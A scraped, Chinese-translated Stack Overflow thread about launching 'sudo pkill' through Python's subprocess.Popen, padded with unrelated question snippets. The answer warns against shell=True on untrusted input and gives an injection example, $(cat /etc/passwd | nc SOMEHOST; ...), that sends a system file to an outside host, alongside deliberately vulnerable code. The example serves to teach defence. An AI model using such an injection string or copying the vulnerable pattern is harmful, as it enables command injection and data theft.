- iOS/Objective-C 元类和类别
- objective-c - -1001 错误,当 NSURLSession 通过 httpproxy 和/etc/hosts
- java - 使用网络类获取 url 地址
- ios - 推送通知中不播放声音
我正在尝试终止之前启动的特定 python 进程,我们称它为 test.py
。
Linux 中终止它的命令是:sudo pkill -f test.py
-> 很有魅力。
然而,当尝试通过 python 代码启动时:subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到一个堆栈跟踪 OSError: [Errno 2] No such file or directory
知道我做错了什么吗?
最佳答案
默认情况下,subprocess.Popen
会将字符串参数解释为确切的命令名称。所以,你传递一个字符串 foo bar
, 它将尝试定位名为 foo bar
的可执行文件并在没有参数的情况下调用它。与交互式 shell 不同,它不会执行命令 foo
使用单个参数 bar
.
当您键入 foo "bar baz"
时或 foo | bar
到 shell 中,是 shell 将参数行拆分为单词并将这些单词解释为命令名称、参数、管道定界符、重定向运算符等。subprocess.Popen
的最简单方法|做这种输入解释同样是通过使用 shell=True
请求通过 shell 传递参数:
subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)
不幸的是,作为noted in the documentation , 这种方便的快捷方式具有安全隐患。使用 shell=True
只要要运行的命令是固定的(并忽略明显的无密码 sudo
的明显安全隐患)就是安全的。当参数是从其他来源的片段组装而成时,就会出现问题。例如:
# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
stdout=subprocess.PIPE)
这里我们从网络连接中读取参数,并将其拼接成传递给 shell 的字符串。除了恶意制作的对等点能够杀死系统上的任意进程这一明显问题(以 root 身份,不少于此),实际上比这更糟。由于 shell 是一个通用工具,攻击者可以使用 command substitution和类似的功能,使系统做任何它想做的事。例如,如果套接字发送字符串 $(cat /etc/passwd | nc SOMEHOST; echo process-name)
, Popen
以上将使用shell执行:
sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)
这就是为什么通常建议不要使用 shell=True
的原因在不受信任的输入上。更安全的替代方法是避免运行 shell:
# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)
在这种情况下,即使恶意对等点将一些奇怪的东西塞进字符串中,也不会成为问题,因为它会按字面意思发送到命令执行。在上面的示例中,pkill
命令将收到终止名为 $(cat ...)
的进程的请求,但是没有 shell 来解释这个请求以执行括号内的命令。
即使没有 shell,如果执行的命令(在本例中为 sudo
或 pkill
)本身容易受到注入(inject)攻击,那么使用不受信任的输入调用外部命令仍然是不安全的。
关于python - 通过 python 子进程启动 linux 命令不能按预期工作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34068121/
每当我运行命令以将 Virtualbox 驱动程序启动 Minishift 到操作系统主机时,它都需要一段疯狂的时间,而且它永远不会结束。有时我什至收到有关达到存储限制的错误消息。 不知道是不是描述h
您好,我正在使用 npm 运行一个基本的 React 项目,我正尝试在 docker 容器中启动它。但是我实际上无法让项目运行。我的 dockerfile 看起来像这样: FROM node:7.8.
所以我想从我的 SSH 终端开始游戏。 这真的很奇怪,当我直接从 Linux GUI 执行此操作时,它可以工作。但是当我使用 SSH 客户端进行远程连接时,它就崩溃了。似乎与我的显示驱动程序有关。 U
我有一个显示图像的动态壁纸。我在 Activity 中更改了该图像。然后我需要通知动态壁纸,以便它知道重新加载资源。 Intent 似乎是完美、简单的解决方案: Intent intent = new
我有一个似乎无法解决的问题。我在 Boot Dashboard 中使用 STS 3.9.2 从 Eclipse (Oxygen) 启动 Spring Boot 应用程序没有任何问题: 但是,当我尝试从
全新的 Python,在我开始摆弄东西之前先设置和安装东西。我的理解是 Python 2.7 和 Python 3.3 之间存在一些显着差异/不兼容,尽管这两个版本都得到了很好的使用,所以我认为最好安
在使用了很长时间的 jQuery 之后,我有一个问题,我正在使用 jQuery 模式(样式)编写一个简单的代码, (function(window, undefined) { var jQu
我正在尝试在 spring boot 应用程序下的非 spring 托管类中配置 Autowired。我在 tomcat 服务器下部署的 Web 应用程序下成功运行了这个。但是当我想在 spring
我对 xmonad 完全陌生,但我想开始使用它来提高我的工作效率。 这是我一直在使用的指南(我使用的是 Apple OS X Snow Leopard) http://xmonad.org/tour.
我试图将Spring Boot指南中的Managing Transactions示例扩展到两个数据源,但是@Transaction注释似乎仅对其中一个数据源有效。 在“Application.java
conEmu 有没有办法默认打开多个不同的选项卡? 我看到这个页面解释了如何使用 splits , 我意识到我可以按 Ctrl + T, 1, Enter,但我希望有一种方法可以自动执行此操作! "%
我正在寻找快速而肮脏的答案。我当时脑子一片空白,盯着屏幕看了 12 个小时以上,我想我中枪了。 我想做一个简单的 SignalR 应用程序作为教程。我找到了这个example ,但我不断收到票证未定义
我正在使用 Azure Powershell cmdlet 来启动/停止 VM。 Start-AzureVM [-ServiceName] [-Name] [ ] Stop-AzureVM [-S
我想使用Powershell脚本代码启动/停止iis和mssql 意味着当我运行ps脚本时,我想启动/停止iis和mssql 我在网上搜索了它,发现了一些代码,但按照我的要求无法正常工作 码: $ii
我在 liferay 工作。我们在我们的项目中使用一个模块来创建 liferay 主题。我使用命令 ant -Ddeploy.war=true 将它部署在服务器中。 war 文件在 liferay 部
我想在已安装 Python 2.7 的 Windows XP 计算机上运行 IPython(版本 0.12)。 我通过 Windows 二进制安装程序安装,但安装后 IPython 没有显示在菜单中,
我从创建了自己的简单图片。 FROM python:2.7.11 RUN mkdir /extra/later/ \ && mkdir /yyy 现在,我可以执行以下步骤: docker run
$(document).ready(function () { setTimeout(function() { window.location.reload(); }, 2000); // 2
我刚刚创建了一个帐户 OpenWeatherMap 我想通过城市 ID API 调用获取当前位置的天气: http://api.openweathermap.org/data/2.5/weather?
我注意到,如果我更改 xcasset 中的图像,启动 Storyboard不会更新。 例如,假设您的启动 Storyboard中有一个 UIImage View ,其中包含一个名为“logo”的蓝色图
我是一名优秀的程序员,十分优秀!